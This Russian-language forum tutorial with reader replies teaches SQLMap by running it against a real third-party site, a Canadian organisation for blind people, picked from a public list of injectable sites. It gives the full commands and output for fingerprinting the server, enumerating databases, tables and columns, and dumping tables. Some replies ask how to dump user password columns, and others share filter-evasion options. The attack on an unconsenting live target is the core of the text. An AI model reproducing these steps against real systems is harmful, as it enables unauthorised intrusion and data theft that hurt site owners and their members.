Author: Prosper-H Source: forum.reverse4you.org Auto-SQL Injections. Example 1 Доброго времени суток! В данном упражнении мы рассмотрим работу с такой интересной утилитой, как SQLMap. SQLMap - данная утилита работает на большинстве платформ и написана на Python'e. Позволяет автоматизировать работу обнаружения и эксплуатации SQL Инъекций. Поддерживает такие базы данных, как: MySQL, MS SQL, PostgerSQL, Oracle. Что же может данная утилита? А может она многое, вот некоторые ее возможности: Определения "банера системы" (сервера, интерпретатора скриптов, базы данных); Отображении имени пользователя, под которым работает атакуемое хозяйство; Отображение баз данных, таблиц, колонок и полей; Позволяет определить, есть ли у пользователя права администратора БД; Позволяет выполнять произвольные SQL-запросы; При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли; Позволяет сделать дамп, как отдельных таблиц, так и полный =); Может взаимодействовать со всем нам известным Metasploit"ом; Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт; Может взаимодействовать с дядей Гуглом; Есть поддержка прокси; Данные могут отправляться как методом GET(по умолчанию), так и POST; Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR(); Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды; И еще куча прибомбасов... =) Вступление сделали - пришла пора потрогать утилитку. Для начала нам ее нужно скачать. Для этого пройдем по адресу http://sqlmap.sourceforge.net и заберем свежую, на данный момент, версию "sqlmap 0.8". Пользователям Windows следует качать "Portable версию", которая содержит на своем борту интерпретатор Python, который обязателен, для запуска SQLMap. Собственно для более комфортной работы с утилитой - советую скопировать cmd.exe в папку, где находится SQLMap. Счастливые обладатели никсов, надеюсь разберутся с запуском и сами Итак, скачали, распаковали и что же дальше? А дальше нужно определиться с целью, на которой мы будет оттачивать свои навыки работы с SQLMap и для этого используем "паблик ресурсы"... Недолго думая - протопал я на Анти-Чат, в очень полезную тему(для тренировок разумеется) "Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции". Далее прошел на последнюю страницу и выбрал первую попавшуюся цель, "для пентестинга". Собственно ею стал, ничем не приметный, Канадский домен: http://blindcanadians.ca/press_releases/index.php?BriefID=50. С целью определились - приступим к пентестингу: Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой. Сказано - сделано: Code: *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1 Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1 Из представленного листинга мы видим, что: Сервер: Apache 2.0.63 Интерпретатор: PHP 5.2.5 База данных: MySQL 5 (5.0.90-community) В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый - это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй - это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5". Продолжим и узнаем под каким пользователем работает база данных: Code: *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1 Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1 Параметр "--current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем: Code: *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1 Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1 Параметр "--current-db", просит SQLMap отобразит БД. Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом: Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1 Параметр "--is-dba" используется для определения прав администратора (True/False) у юзера. Как видим, из приведенно примера, администраторских прав у нас нет =(. Ну да ладно. Едем дальше... С помощью нехитрого параметра "--dbs", посмотрим список БД: Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1 Далее, посмотрим таблицы в этих БД, используя параметр "--tables": Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1 HTML: ... Database: blindcan_bulletin [1 table] +---------------------------------------+ | Bulletin +---------------------------------------+ Database: blindcan_rating [3 tables] +---------------------------------------+ | Category | Rating | Resources +---------------------------------------+ Database: blindcan_mentor [12 tables] +---------------------------------------+ | Availability | Chapters | Gender | MaterialsFormat | Member | MembershipTypes | MenteeAge | MenteeFormat | Person | Province | Skills | Type +---------------------------------------+ Database: blindcan_products [4 tables] +---------------------------------------+ | category | distributor | manufacturer | products +---------------------------------------+ Database: blindcan_aebc [11 tables] +---------------------------------------+ | Briefs | cbm | cbm_fixed_text | Correspondence | Issues | new_cbm | new_cbm_issues | Releases | Reports | resolutions | Scholarship +---------------------------------------+ Database: blindcan_membership [12 tables] +---------------------------------------+ | cbm | chapter | correspondence | dues | format | member | member_old | membership_type | organization_type | payment | privilege | province +---------------------------------------+ Database: blindcan_survey [17 tables] +---------------------------------------+ | apAge | apCategory | apDistributor | apFavorite | apGender | apPopulation | apProducts | apPurchaseType | apReadingMethod | apSurvey | apSurveyReadingMethod | apWishList | NameChange | statement | tbase | tbase_like_statement | tbase_statement +---------------------------------------+ Database: information_schema [17 tables] +---------------------------------------+ | CHARACTER_SETS | COLLATION_CHARACTER_SET_APPLICABILITY | COLLATIONS | COLUMN_PRIVILEGES | COLUMNS | KEY_COLUMN_USAGE | PROFILING | ROUTINES | SCHEMA_PRIVILEGES | SCHEMATA | STATISTICS | TABLE_CONSTRAINTS | TABLE_PRIVILEGES | TABLES | TRIGGERS | USER_PRIVILEGES | VIEWS +---------------------------------------+ [03:22:38] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca' [*] shutting down at: 03:22:38 Так же, есть возможность посмотреть список таблиц в конретной БД, используя такую команду: Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1 HTML: ... Database: blindcan_rating [3 tables] +-----------+ | Category | Rating | Resources +-----------+ [06:03:35] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca' [*] shutting down at: 06:03:35 Если захочется окунуться глубже, то можно посмотреть столбци конкретной таблици. Делается это так: Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases//index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1 HTML: ... Database: blindcan_bulletin Table: Bulletin [6 columns] +-------------+--------------+ | Column | Type +-------------+--------------+ | BulletinID | int(11) | ContactInfo | varchar(255) | Description | text | Expires | date | PostDate | date | Subject | varchar(100) +-------------+--------------+ [06:13:52] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca' [*] shutting down at: 06:13:52 Параметр "-Т" указывает на конкретную таблицу, а параметр "-D" соответственно на базу данных. Для тех, кого интересуют внутренности таблиц(ы) - могут использовать ниже приведенную команду, для дампа последней(них): Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1 HTML: Database: blindcan_rating Table: Category [13 entries] +------------+----------------------------------------------------+ | CategoryID | Description +------------+----------------------------------------------------+ | 1 | Advocacy | 2 | Alternative Formats | 3 | Camps | 4 | Deaf-Blindness | 5 | Education | 6 | Employment | 7 | Eye Health / Medical Organizations, Information an | 8 | Guide Dogs | 9 | Low Vision | 10 | On-Line Information and Resources | 11 | Products and Technologies | 12 | Rehabilitation | 13 | Services and Support +------------+----------------------------------------------------+ [06:59:16] [INFO] Table 'blindcan_rating.Category' dumped to CSV file '/src/sqlmap/output/blindcanadians.ca/dump/blindcan_rating/Category.csv' [06:59:16] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca' [*] shutting down at: 06:59:16 Если же интересует, не вся таблица, а конкретные столбци, то их можно выбрать добавив параметры "--start" и "--stop". Выглядеть это будет так: Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1 Параметр "--start" - указывает на начальную строку таблици, а параметр "--stop" соответственно - на конечную. Сделать полный бэкап, можно используя параметр "--dum-all": Code: Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1 *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1 На этом разрешите откланяться. Успехов! Цель данной статьи была не объяснить и разъясненить всевозможные параметры данной утилиты, а подогреть интерес, тех кто с ней не знаком, а так же заинтересовать в ее дальнейшем использовании. Собственно перечень всех команд, можно посмотреть в официально мануале "sqlmap user's manual" (EN), который находится в распакованном архиве "sqlmap/doc/README.(html|PDF)" или проследовать на оффсайт: http://sqlmap.sourceforge.net/doc/README.(html|PDF). PS: Продолжение следует... Prosper-H (c) reverse4you.org Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!
скачал portable версию для windows скинул в C:\sqlmap, туда же cmd.exe пробую запустить sqlmap -u "http://site/?id=33" -b -v 1 >Не удается выполнить указанную программу подскажите в чем ошибка? блочит что то? nod выключен
а есть аналогичный софт, но который может работать по списку урл ? выдел где то статью под багтрак, но не могу найти.
Подскажите как дампить указанные поля к примеру с usergroup=6? Вот так дампит с первого по пятый юзеров: ./sqlmap.py -u http://www.site.com/index.php?id=1 -p id --dump -T user -D database -C userid,username,password --start 1 --stop 5 А мне нужно сдампить всех кто есть в usergroup 6.
Уважаемый автор.Подскажи плиз вот я запустил прогу ввёл юрл и мне пишут вот такое- unable to connect to the target url or proxy.В чём же проблема?
Софтик неплох, но весьма медлителен. Для тех у кого что либо не получается или не коннектиться, советую внимательно проверить синтакс задаваемый в консоль. Открываем консоль-> прописываем путь к самому exe, у меня например так: C:\Users\Admin\Sql_08\sql.exe -u "ВАШ_УРЛ" -b -v 1
Насчет медлительности вкорне не согласен Если вы намекаете про 10 потоков, то ето легко меняется на большее количесво(где то в дебрях *.py файла). Советую поставить Activslate python, он сам "пропишет" алиасы для запуска питона(для windows имею в виду.) Удобно использовать опцию -z для сокращенеия команад, и не забываем про --random-agent =) -z "random-ag,tec=BEUS" парметр --tamper --tamper "space2plus.py" напрмиер, чтобы всто пробелов подставлялось + итп. Просмотрите директорию tamper в папке с sqlmap. в каждом файлике есть описание что делает скрипт. Качайте dev версию, иначе лишитесь доплнительных фишек. svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev ЗЫ Сначала скулю руками(это важно) раскрутить нужно, потм уже сувать в скульмап с необходимыми параметрами .
если вы про сертификат задаете вопрос, так и пишите: "как указать сертификат." Ответ: --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file) https://github.com/sqlmapproject/sqlmap/wiki/Usage Когда что то не получается, обязательно на стадии тестирования уязвимости включаем логгирование запросов и ответов от сервера. смотрим что не так. можно даже через прокси пропустить (burpsuite или zap proxy.)
m00c0w, благодарю за ответ, но думаю, что речь не о сертификатах, есть url https://blabla/index.php?id=1, на котором есть sql инъекция, мое дальнейшее действие, делаю запрос в sqlmap обычно как и на http: sqlmap.py -u "https://blabla/index.php?id=1" --dbs [15:48:19] [INFO] testing connection to the target url [15:48:22] [INFO] testing if the url is stable, wait a few seconds [15:48:25] [INFO] url is stable [15:48:25] [INFO] testing if GET parameter 'id' is dynamic [15:48:26] [INFO] confirming that GET parameter 'id' is dynamic [15:48:28] [INFO] GET parameter 'id' is dynamic [15:48:29] [WARNING] heuristic test shows that GET parameter 'id' might not be i njectable итог ноль, судя по всему для https опции нужны другие, не могли бы вы подсказать пример, все пояснения которые я нашел в сети касаются только работы с http. заранее признателен!
WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests [12:22:57] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [12:23:28] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [12:24:00] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [12:24:32] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [12:25:34] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [12:26:25] [CRITICAL] connection timed out to the target URL привет народ че делать подскажите пожалуйста
написано что нет коннекта, может сервер блочит, может waf есть, без контекста сказать точно нельзя с другого ip стукнись - есть ошибка? без sqlmap, руками, стукнись - ошибка есть? и вообще топик нифига не тот